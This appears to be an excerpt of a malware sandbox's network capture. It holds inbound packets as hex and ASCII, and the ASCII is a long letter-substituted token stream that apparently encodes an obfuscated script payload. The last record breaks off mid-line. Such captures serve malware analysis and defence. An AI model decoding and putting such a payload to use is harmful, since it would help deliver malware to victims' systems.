2021-10-29 18:29:50 UTC	1125	IN	Data Raw: 20 4f 20 71 71 71 20 4f 20 58 4a 20 4f 20 44 58 20 4f 20 71 4f 4f 20 4f 20 57 44 20 4f 20 45 71 20 4f 20 45 6d 20 4f 20 45 6d 20 4f 20 58 44 20 4f 20 57 45 20 4f 20 44 58 20 4f 20 57 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 44 58 20 4f 20 71 71 6d 20 4f 20 4d 45 20 4f 20 71 4f 6d 20 4f 20 71 4f 44 20 4f 20 58 44 20 4f 20 71 4f 6d 20 4f 20 6d 58 20 4f 20 71 71 4d 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 71 20 4f 20 57 4a 20 4f 20 45 70 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 44 58 20 4f 20 44 45 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 45 4a 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 4a 20 4f Data Ascii: O qqq O XJ O DX O qOO O WD O Eq O Em O Em O XD O WE O DX O Wm O qOq O qOm O qOJ O DX O qqm O ME O qOm O qOD O XD O qOm O mX O qqM O Ep O DX O DW O Xq O DW O DD O qqq O WJ O Ep O DD O MO O DX O DE O DE O DW O XE O DW O qqM O EJ O qqM O XM O DX O XD O XJ O
2021-10-29 18:29:50 UTC	1128	IN	Data Raw: 44 58 20 4f 20 6d 58 20 4f 20 4d 58 20 4f 20 71 71 57 20 4f 20 57 44 20 4f 20 6d 58 20 4f 20 4d 4f 20 4f 20 71 4f 71 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 4d 45 20 4f 20 45 6d 20 4f 20 44 4d 20 4f 20 71 71 58 20 4f 20 58 71 20 4f 20 45 44 20 4f 20 71 4f 4f 20 4f 20 6d 4d 20 4f 20 71 71 70 20 4f 20 4d 4d 20 4f 20 45 57 20 4f 20 71 4f 45 20 4f 20 44 4d 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 45 58 20 4f 20 4d 58 20 4f 20 6d 58 20 4f 20 57 6d 20 4f 20 6d 70 20 4f 20 71 4f 4a 20 4f 20 57 71 20 4f 20 45 4f 20 4f 20 4d 4f 20 4f 20 58 57 20 4f 20 71 4a 4a 20 4f 20 71 71 4d 20 4f 20 57 6d 20 4f 20 45 71 20 4f 20 44 58 20 4f 20 45 57 20 4f 20 45 44 20 4f 20 71 4f 4a 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 6d 70 20 4f 20 58 70 20 4f 20 58 57 20 4f 20 57 45 20 4f Data Ascii: DX O mX O MX O qqW O WD O mX O MO O qOq O Xq O DM O ME O Em O DM O qqX O Xq O ED O qOO O mM O qqp O MM O EW O qOE O DM O Wm O mE O EX O MX O mX O Wm O mp O qOJ O Wq O EO O MO O XW O qJJ O qqM O Wm O Eq O DX O EW O ED O qOJ O qOq O ED O mp O Xp O XW O WE O
2021-10-29 18:29:50 UTC	1133	IN	Data Raw: 4d 45 20 4f 20 58 45 20 4f 20 71 4f 4f 20 4f 20 71 71 45 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 57 70 20 4f 20 71 71 4f 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 45 58 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 57 6d 20 4f 20 44 45 20 4f 20 71 71 4f 20 4f 20 45 45 20 4f 20 45 45 20 4f 20 71 4f 6d 20 4f 20 57 45 20 4f 20 71 4f 58 20 4f 20 45 45 20 4f 20 57 4f 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 58 4f 20 4f 20 71 71 70 20 4f 20 71 4f 4a 20 4f 20 57 4f 20 4f 20 58 4d 20 4f 20 4d 58 20 4f 20 71 71 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 44 44 20 4f 20 71 4f 70 20 4f 20 71 4f 58 20 4f 20 71 4f 70 20 4f 20 71 4f 6d 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20 4f 20 44 44 Data Ascii: ME O XE O qOO O qqE O ME O XE O Wp O qqO O Ep O DM O EX O DD O DW O qOm O DM O DW O WE O Wm O DE O qqO O EE O EE O qOm O WE O qOX O EE O WO O DX O DW O qqE O XO O qqp O qOJ O WO O XM O MX O qqD O qJJ O DW O EX O DD O qOp O qOX O qOp O qOm O qOE O qOp O DD
2021-10-29 18:29:50 UTC	1137	IN	Data Raw: 45 20 4f 20 71 4f 45 20 4f 20 57 71 20 4f 20 71 71 45 20 4f 20 71 4a 4a 20 4f 20 6d 70 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 58 4a 20 4f 20 58 4f 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20 4f 20 71 4a 4a 20 4f 20 6d 70 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 57 4f 20 4f 20 57 4a 20 4f 20 58 71 20 4f 20 45 6d 20 4f 20 71 71 6d 20 4f 20 45 4a 20 4f 20 58 6d 20 4f 20 4d 45 20 4f 20 45 71 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 58 4d 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 71 71 57 20 4f 20 58 4a 20 4f 20 71 71 58 20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f 20 58 4f 20 4f 20 45 45 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 71 4a 71 20 4f 20 45 45 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 45 45 20 4f 20 44 Data Ascii: E O qOE O Wq O qqE O qJJ O mp O WD O DW O qOm O XJ O XO O qOE O qOp O qJJ O mp O DD O DW O WO O WJ O Xq O Em O qqm O EJ O Xm O ME O Eq O Eq O XW O WJ O XO O XM O qqW O Xq O qqW O XJ O qqX O qJO O qOp O XO O EE O qOD O DW O qJq O EE O DX O DW O WJ O EE O D
2021-10-29 18:29:50 UTC	1141	IN	Data Raw: 71 4f 4d 20 4f 20 58 4a 20 4f 20 71 4f 70 20 4f 20 45 4a 20 4f 20 71 4f 58 20 4f 20 58 4a 20 4f 20 45 44 20 4f 20 45 58 20 4f 20 71 4f 4d 20 4f 20 45 57 20 4f 20 71 71 44 20 4f 20 57 44 20 4f 20 44 4d 20 4f 20 45 44 20 4f 20 71 4f 4d 20 4f 20 71 71 6d 20 4f 20 71 71 71 20 4f 20 45 57 20 4f 20 71 4f 57 20 4f 20 71 71 57 20 4f 20 6d 4d 20 4f 20 71 4f 4d 20 4f 20 58 6d 20 4f 20 71 71 4d 20 4f 20 45 4d 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 57 20 4f 20 71 71 4d 20 4f 20 71 4a 71 20 4f 20 71 71 70 20 4f 20 71 71 45 20 4f 20 57 45 20 4f 20 57 4f 20 4f 20 57 44 20 4f 20 44 44 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 71 4f 58 20 4f 20 57 57 20 4f 20 57 44 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 71 4a 4a 20 4f 20 71 4f 57 20 4f 20 58 4a 20 4f Data Ascii: qOM O XJ O qOp O EJ O qOX O XJ O ED O EX O qOM O EW O qqD O WD O DM O ED O qOM O qqm O qqq O EW O qOW O qqW O mM O qOM O Xm O qqM O EM O ED O DW O MX O qqW O qqM O qJq O qqp O qqE O WE O WO O WD O DD O XO O DM O qOX O WW O WD O DE O qqW O qJJ O qOW O XJ O
2021-10-29 18:29:50 UTC	1145	IN	Data Raw: 20 44 45 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45 45 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 57 70 20 4f 20 45 45 20 4f 20 44 58 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 45 58 20 4f 20 58 71 20 4f 20 58 4d 20 4f 20 45 45 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 71 20 4f 20 45 45 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45 45 20 4f 20 44 45 20 Data Ascii: DE O DE O qqW O Eq O DW O Xq O XW O EO O DD O qqM O EE O Ep O EE O DM O DW O Eq O DW O mM O XW O qOO O Ep O DW O Xq O Wp O EE O DX O MM O qqM O EX O Xq O XM O EE O EW O qqM O XM O DD O DD O DW O Eq O qJq O EE O Xq O DM O DE O DW O Xq O EE O Ep O EE O DE
2021-10-29 18:29:50 UTC	1149	IN	Data Raw: 4f 70 20 4f 20 45 4d 20 4f 20 57 4a 20 4f 20 58 44 20 4f 20 71 4f 4d 20 4f 20 58 44 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 71 71 58 20 4f 20 45 4a 20 4f 20 71 4a 4f 20 4f 20 71 71 6d 20 4f 20 6d 4d 20 4f 20 57 44 20 4f 20 4d 4f 20 4f 20 71 71 45 20 4f 20 71 71 4d 20 4f 20 71 71 71 20 4f 20 58 70 20 4f 20 71 4f 4f 20 4f 20 57 45 20 4f 20 71 71 57 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 58 4d 20 4f 20 71 71 44 20 4f 20 71 71 4f 20 4f 20 45 4f 20 4f 20 71 4f 70 20 4f 20 58 6d 20 4f 20 71 4f 58 20 4f 20 45 57 20 4f 20 71 4f 4d 20 4f 20 45 71 20 4f 20 6d 45 20 4f 20 44 4d 20 4f 20 58 44 20 4f 20 58 70 20 4f 20 71 71 71 20 4f 20 71 4f 57 20 4f 20 71 4f 6d 20 4f 20 71 71 44 20 4f 20 71 4f 4a 20 4f 20 57 71 20 4f Data Ascii: Op O EM O WJ O XD O qOM O XD O Ep O DX O qqX O EJ O qJO O qqm O mM O WD O MO O qqE O qqM O qqq O Xp O qOO O WE O qqW O qqE O MM O ED O qJJ O mE O XM O qqD O qqO O EO O qOp O Xm O qOX O EW O qOM O Eq O mE O DM O XD O Xp O qqq O qOW O qOm O qqD O qOJ O Wq O
2021-10-29 18:29:50 UTC	1153	IN	Data Raw: 4a 4a 20 4f 20 57 6d 20 4f 20 44 57 20 4f 20 6d 70 20 4f 20 58 57 20 4f 20 6d 70 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 58 45 20 4f 20 71 71 57 20 4f 20 44 44 20 4f 20 57 4f 20 4f 20 6d 4d 20 4f 20 71 4f 6d 20 4f 20 71 71 71 20 4f 20 44 4d 20 4f 20 71 71 4a 20 4f 20 4d 4d 20 4f 20 57 70 20 4f 20 45 4a 20 4f 20 71 4f 70 20 4f 20 57 57 20 4f 20 58 58 20 4f 20 71 71 6d 20 4f 20 71 4a 4f 20 4f 20 45 45 20 4f 20 71 4a 4f 20 4f 20 45 6d 20 4f 20 45 58 20 4f 20 45 45 20 4f 20 71 71 58 20 4f 20 71 4a 4a 20 4f 20 58 4a 20 4f 20 58 45 20 4f 20 58 45 20 4f 20 57 70 20 4f 20 6d 70 20 4f 20 4d 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 45 20 4f 20 45 4f 20 4f 20 71 4f 57 20 4f 20 58 4d 20 4f 20 45 6d 20 4f 20 6d 70 20 4f 20 57 45 20 4f 20 58 57 20 4f 20 71 4a 71 20 4f 20 Data Ascii: JJ O Wm O DW O mp O XW O mp O mp O qJJ O XE O qqW O DD O WO O mM O qOm O qqq O DM O qqJ O MM O Wp O EJ O qOp O WW O XX O qqm O qJO O EE O qJO O Em O EX O EE O qqX O qJJ O XJ O XE O XE O Wp O mp O ME O qOO O qOE O EO O qOW O XM O Em O mp O WE O XW O qJq O
2021-10-29 18:29:50 UTC	1157	IN	Data Raw: 44 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 45 45 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 45 71 20 4f 20 44 45 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 4d 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 71 20 4f Data Ascii: DX O DW O Eq O DW O Xq O EJ O mE O DW O qOp O DM O DW O EE O DD O EE O Eq O DW O mM O XW O qOO O Em O Xq O Xq O EE O EE O DW O qqq O Eq O DE O DE O qqW O Eq O DW O Xq O XW O EO O DD O qqM O EE O Ep O EE O DD O DM O Eq O DW O mM O XW O qOO O Ep O DW O Xq O
2021-10-29 18:29:50 UTC	1160	IN	Data Raw: 20 4d 58 20 4f 20 71 4f 45 20 4f 20 71 71 57 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 4f 4d 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 4d 58 20 4f 20 71 4a 4a 20 4f 20 6d 4d 20 4f 20 71 4f 45 20 4f 20 71 71 44 20 4f 20 71 4f 71 20 4f 20 71 71 6d 20 4f 20 4d 45 20 4f 20 45 45 20 4f 20 71 71 6d 20 4f 20 58 71 20 4f 20 71 71 71 20 4f 20 71 71 71 20 4f 20 71 4f 6d 20 4f 20 71 4f 45 20 4f 20 71 71 58 20 4f 20 57 6d 20 4f 20 71 71 71 20 4f 20 4d 58 20 4f 20 6d 4d 20 4f 20 71 71 71 20 4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 45 71 20 4f 20 45 57 20 4f 20 44 44 20 4f 20 4d 4d 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 71 4f 71 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 71 71 58 20 4f 20 58 4d 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 71 4f 4f 20 4f 20 45 57 20 4f 20 6d 58 Data Ascii: MX O qOE O qqW O WD O XD O qOM O DD O qqX O MX O qJJ O mM O qOE O qqD O qOq O qqm O ME O EE O qqm O Xq O qqq O qqq O qOm O qOE O qqX O Wm O qqq O MX O mM O qqq O qOX O MM O Eq O EW O DD O MM O WO O EX O qOq O qqq O ED O qqX O XM O Wq O EX O qOO O EW O mX
2021-10-29 18:29:50 UTC	1165	IN	Data Raw: 20 4d 4d 20 4f 20 6d 4d 20 4f 20 71 4f 4a 20 4f 20 44 4d 20 4f 20 57 45 20 4f 20 45 71 20 4f 20 57 4f 20 4f 20 57 4f 20 4f 20 57 4f 20 4f 20 57 6d 20 4f 20 71 71 4d 20 4f 20 71 71 4d 20 4f 20 71 4f 57 20 4f 20 71 71 70 20 4f 20 45 4f 20 4f 20 71 4a 4f 20 4f 20 45 6d 20 4f 20 71 71 6d 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 58 70 20 4f 20 45 4d 20 4f 20 45 44 20 4f 20 71 71 4f 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 45 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 4d 58 20 4f 20 58 57 20 4f 20 4d 45 20 4f 20 4d 4d 20 4f 20 58 4a 20 4f 20 57 70 20 4f 20 71 4f 4f 20 4f 20 45 4d 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 4f 71 20 4f 20 45 57 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 58 4d 20 Data Ascii: MM O mM O qOJ O DM O WE O Eq O WO O WO O WO O Wm O qqM O qqM O qOW O qqp O EO O qJO O Em O qqm O qqX O qOO O Xp O EM O ED O qqO O DW O MO O EM O Xq O DW O qOO O MX O XW O ME O MM O XJ O Wp O qOO O EM O qqE O DW O XM O qOq O EW O mE O qOO O MM O qqO O XM
2021-10-29 18:29:50 UTC	1169	IN	Data Raw: 20 58 57 20 4f 20 57 44 20 4f 20 45 57 20 4f 20 6d 70 20 4f 20 45 57 20 4f 20 44 44 20 4f 20 57 70 20 4f 20 58 4d 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20 6d 58 20 4f 20 71 4f 70 20 4f 20 45 44 20 4f 20 45 71 20 4f 20 71 4f 6d 20 4f 20 71 4f 44 20 4f 20 57 45 20 4f 20 45 4f 20 4f 20 45 6d 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 20 58 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 70 20 4f 20 45 4a 20 4f 20 6d 4d 20 4f 20 71 71 45 20 4f 20 45 4a 20 4f 20 71 4f 4a 20 4f 20 71 71 58 20 4f 20 71 4a 71 20 4f 20 58 6d 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 71 4a 4a 20 4f 20 45 58 20 4f 20 6d 58 20 4f 20 4d 4f 20 4f 20 4d 45 20 4f 20 71 71 58 20 4f 20 58 4a 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 58 70 20 4f 20 71 4f 4a 20 Data Ascii: XW O WD O EW O mp O EW O DD O Wp O XM O qOD O qOO O mX O qOp O ED O Eq O qOm O qOD O WE O EO O Em O qqW O DW O qOE O XE O qOJ O qOp O EJ O mM O qqE O EJ O qOJ O qqX O qJq O Xm O MX O MX O qJJ O EX O mX O MO O ME O qqX O XJ O Eq O WJ O DE O DD O Xp O qOJ
2021-10-29 18:29:50 UTC	1173	IN	Data Raw: 4f 20 71 71 70 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 71 4f 58 20 4f 20 71 4f 4d 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 71 4a 4a 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 70 20 4f 20 71 4f 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 4f 58 20 4f 20 71 4f 6d 20 4f 20 71 4a 4a 20 4f 20 71 4f 44 20 4f 20 71 4f 6d 20 4f 20 71 4a 4f 20 4f 20 71 71 45 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4a 4a 20 4f 20 71 71 45 20 4f 20 71 4f 57 20 4f 20 4d 4d 20 4f 20 71 4a 4a 20 4f 20 71 71 70 20 4f 20 71 71 6d 20 4f 20 71 71 70 20 4f 20 4d 45 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f Data Ascii: O qqp O pE O qqO O pE O qqW O qOX O qOM O qOJ O qOJ O qJq O pE O qOO O pE O ME O qJJ O qOm O pE O qp O qO O pE O qqM O qOX O qOm O qJJ O qOD O qOm O qJO O qqE O qJJ O pE O qqW O pE O qJJ O qqE O qOW O MM O qJJ O qqp O qqm O qqp O ME O qqX O pE O MM O pE O
2021-10-29 18:29:50 UTC	1177	IN	Data Raw: 71 71 6d 20 4f 20 71 4f 6d 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 4d 58 20 4f 20 71 4f 58 20 4f 20 4d 58 20 4f 20 71 71 4a 20 4f 20 71 71 71 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 6d 20 4f 20 71 4f 57 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 71 6d 20 4f 20 71 71 44 20 4f 20 71 4f 70 20 4f 20 71 4f 44 20 4f 20 71 4f 44 20 4f 20 71 4f 4d 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20 4d 45 20 4f 20 71 4f 4a 20 4f 20 71 71 58 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 71 4f 4d 20 4f 20 71 4f 58 20 4f 20 71 4f 57 20 Data Ascii: qqm O qOm O qOm O pE O qqO O pE O qqq O MX O qOX O MX O qqJ O qqq O qOq O qOD O qqO O pE O qqW O pE O qOm O qOW O qOO O pE O qOq O pE O qqD O qqm O qqD O qOp O qOD O qOD O qOM O MX O qOD O qOO O ME O qOJ O qqX O qOJ O pE O pJ O pE O qOW O qOM O qOX O qOW
2021-10-29 18:29:50 UTC	1181	IN	Data Raw: 20 4f 20 71 4f 58 20 4f 20 71 71 57 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 70 20 4f 20 71 71 6d 20 4f 20 71 4f 71 20 4f 20 4d 4d 20 4f 20 71 71 44 20 4f 20 71 71 4f 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 71 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 71 70 20 4f 20 71 4f 71 20 4f 20 71 4a 71 20 4f 20 71 4f 6d 20 4f 20 71 71 4f 20 4f 20 71 4f 58 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 4d 58 20 4f 20 71 4f 58 20 4f 20 71 4a 4a 20 4f 20 71 71 4a 20 4f 20 71 4f 4d 20 4f 20 71 4f 44 20 4f 20 71 4f Data Ascii: O qOX O qqW O qJJ O pE O qqW O pE O qqp O qqm O qOq O MM O qqD O qqO O qOm O MM O pE O ME O pE O qqM O qqE O qJO O qOq O qOm O pE O MX O pE O qOO O qqp O qOq O qJq O qOm O qqO O qOX O qqJ O pE O qOX O pE O MX O qOM O MX O qOX O qJJ O qqJ O qOM O qOD O qO
2021-10-29 18:29:50 UTC	1185	IN	Data Raw: 4a 20 4f 20 71 4f 6d 20 4f 20 71 4f 45 20 4f 20 4d 58 20 4f 20 71 4f 4f 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20 71 71 45 20 4f 20 71 4f 57 20 4f 20 71 71 4f 20 4f 20 71 4f 4a 20 4f 20 71 4a 71 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 4f 71 20 4f 20 4d 58 20 4f 20 71 4f 6d 20 4f 20 71 4f 58 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 71 71 58 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 71 44 20 4f 20 71 4f 58 20 4f 20 71 71 4f 20 4f 20 71 71 70 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 71 4a 4a 20 4f 20 71 4f 57 20 4f 20 71 4f 6d 20 4f 20 71 71 Data Ascii: J O qOm O qOE O MX O qOO O MX O qOD O qqE O qOW O qqO O qOJ O qJq O MX O MX O pE O qOq O pE O qqD O qOq O MX O qOm O qOX O qJO O pE O qOO O pE O qqq O qqX O ME O pE O qOW O pE O qqD O qqD O qOX O qqO O qqp O pE O MM O pE O qOO O qqM O qJJ O qOW O qOm O qq
2021-10-29 18:29:50 UTC	1189	IN	Data Raw: 71 71 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 4f 4f 20 4f 20 71 4f 4d 20 4f 20 71 71 70 20 4f 20 71 71 44 20 4f 20 71 4f 4a 20 4f 20 4d 45 20 4f 20 4d 4d 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 71 71 71 20 4f 20 71 71 57 20 4f 20 71 4f 4f 20 4f 20 71 71 57 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 4d 58 20 4f 20 71 4f 45 20 4f 20 71 71 4d 20 4f 20 71 4a 4f 20 4f 20 71 4f 4d 20 4f 20 71 4f 4f 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 70 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 45 20 4f 20 71 4a 71 20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f 20 71 71 44 20 4f 20 71 4a 4a 20 4f 20 71 4a 4a Data Ascii: qq O qOO O qOq O qOm O qJO O pE O qOq O pE O qJq O qOO O qOM O qqp O qqD O qOJ O ME O MM O qqJ O pE O ME O pE O qqq O qqq O qqW O qOO O qqW O MX O qOM O MX O qOE O qqM O qJO O qOM O qOO O qqX O pE O qOX O pE O qJO O qOE O qJq O qJO O qOp O qqD O qJJ O qJJ
2021-10-29 18:29:50 UTC	1192	IN	Data Raw: 20 71 4f 71 20 4f 20 71 4f 45 20 4f 20 71 71 71 20 4f 20 71 4a 4a 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 71 4f 4d 20 4f 20 71 4a 71 20 4f 20 71 71 4a 20 4f 20 71 4f 6d 20 4f 20 71 4f 4f 20 4f 20 71 4a 4a 20 4f 20 71 71 71 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 44 71 20 4f 20 70 45 20 4f 20 71 4a 4f 20 4f 20 4d 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 4f 20 4f 20 71 71 45 20 4f 20 71 71 45 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 71 70 20 4f 20 71 4f 4d 20 4f 20 71 71 4a 20 4f 20 71 71 4d 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 70 20 4f 20 71 4f 6d 20 4f 20 71 4f 58 20 4f 20 71 4f 4d 20 4f 20 71 71 57 20 4f 20 4d 45 20 4f 20 71 4f 6d Data Ascii: qOq O qOE O qqq O qJJ O qqq O pE O qqD O pE O ME O qOM O qJq O qqJ O qOm O qOO O qJJ O qqq O qOq O pE O Dq O pE O qJO O ME O qJO O qOO O qqE O qqE O pE O pJ O pE O qqM O qqp O qOM O qqJ O qqM O qqX O pE O qOO O pE O qqp O qOm O qOX O qOM O qqW O ME O qOm
2021-10-29 18:29:50 UTC	1197	IN	Data Raw: 71 58 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 71 4f 70 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 4f 44 20 4f 20 71 71 4d 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 71 4f 58 20 4f 20 71 71 6d 20 4f 20 71 4a 71 20 4f 20 71 4f 4a 20 4f 20 71 71 4a 20 4f 20 71 71 71 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 70 20 4f 20 4d 58 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 71 71 57 20 4f 20 71 4f 58 20 4f 20 71 71 57 20 4f 20 71 4f 45 20 4f 20 4d 58 20 4f 20 71 71 4f 20 4f 20 71 71 6d 20 4f 20 70 45 20 Data Ascii: qX O 